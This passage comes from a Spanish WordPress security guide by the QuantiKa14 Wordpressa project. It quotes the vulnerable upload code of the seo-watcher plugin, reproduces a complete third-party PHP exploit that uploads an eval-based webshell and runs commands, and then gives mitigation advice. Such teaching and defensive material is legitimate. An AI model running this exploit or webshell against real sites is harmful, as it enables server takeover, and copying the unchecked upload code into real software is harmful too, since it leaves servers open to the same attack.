$destination = $default_path . basename( $_GET[ 'name' ] );
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
Este plugin es vulnerable a Arbitrary File Upload, lo que permite a un atacante
poder subir una webshell y ejecutar comandos en el servidor. No existe un parámetro
en concreto que sea vulnerable, si no que todo el PHP está diseñado para subir
cualquier tipo de fichero.
El archivo queda guardado en /wp-content/plugins/seo-watcher/ofc/tmp-
upload-images/ con el mismo nombre que se le ha pasado como parámetro GET a
ofc_upload_image.php (parámetro name)
Para proceder a la explotación deberemos de enviar una petición POST con el
contenido de nuestra shell a ofc_upload_image.php. Lo forma más rápida es utilizar
curl, como ejemplo tenemos este PoC (extraído del reporte de la vulnerabilidad a
PacketStorm):
pág. 24 || www.wordpresaquantika14.com || [email protected]
<?php echo <<<EOT ----------------------------------- / seo-watcher ~ Exploit \ \ Author: wantexz / -----------------------------------
################################################################################################ # author: wantexz #
EOT; $options = getopt('u:f:'); if(!isset($options['u'], $options['f'])) die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n -u http://target.com/ The full path to Joomla! -f shell.php The name of the file to create.\n");
$url = $options['u']; $file = $options['f'];
$shell = "{$url}/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/{$file}"; $url = "{$url}/wp-content/plugins/seo-watcher/ofc/php-ofc-
library/ofc_upload_image.php?name={$file}";
$data = "<?php eval(\$_GET['cmd']); ?>"; $headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101
Firefox/15.0.1', 'Content-Type: text/plain');
echo " [+] Submitting request to: {$options['u']}\n"; $handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url); curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); curl_setopt($handle, CURLOPT_POSTFIELDS, $data); curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source = curl_exec($handle); curl_close($handle);
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) { echo " [+] Exploit completed successfully!\n"; echo
" ______________________________________________\n\n {$shell}?cmd=system('id');\n"; } else { die(" [+] Exploit was unsuccessful.\n"); } ?>
pág. 25 || www.wordpresaquantika14.com || [email protected]
Al tratarse de un sistema de subidas para imágenes deberemos de cerciorarnos
que el archivo que se va a subir es realmente una imagen. Para ello podemos
implementar al mismo tiempo distintas comprobaciones, con el objetivo de dificultar a
un potencial atacante el bypassear alguna de estas. Los ideal sería generar una
whitelist de extensiones permitidas (gif, jpeg, png...) y denegar cualquier archivo que
no se ajuste a nuestro modelo. Para comprobar si se trata de una imagen real podemos
implementar todas estas medidas al mismo tiempo:
-Utilizar la función pathinfo()
-Comprobar el Content-type
-Utilizar la función getimagesize()
Además, pese a ver hecho las comprobaciones, para frenar un posible bypass
deberemos de renombrar el archivo que hemos subido y ponerle un nombre aleatorio y
la extensión que supuestamente tenía originalmente, de tal forma que si
supuestamente un usuario está intentando subir un archivo “jpeg”, por ejemplo, el
archivo final sea nombrealeatorio.JPEG También deberemos de asignarles unos
permisos adecuados como última precaución.
Si únicamente queremos que tengan acceso al sistema de subida de archivos
usuarios con un determinado rol en nuestra plataforma (administradores, por ejemplo)
podríamos usar un sistema de sesiones.
Wordpressa es un proyecto creado por la empresa Sevillana QuantiKa14. En un
principio consistía en crear un laboratorio de Wordpress que facilitará las prácticas de
técnicas de hacking y pentesting sobre este gestor de contenidos. Al cabo del tiempo, al
ver la gran demanda de auditorías de seguridad, quantika14 decide crear un equipo
especial dedicado al 100% en él. Este realizara documentos, investigaciones de
seguridad en plugins, plantillas y en el propio núcleo de Wordpress, aparte de las
pruebas de intrusión y fortificación.
Wordpressa es un proyecto ambicioso y especial. Qk14 es la única empresa a nivel
nacional que tenga un departamento especializado en este gestor de contenidos.
Todos los trabajos en QK14 están retribuidos. Solo tienes que mandar un
Correo con tu propuesta a [email protected] o [email protected]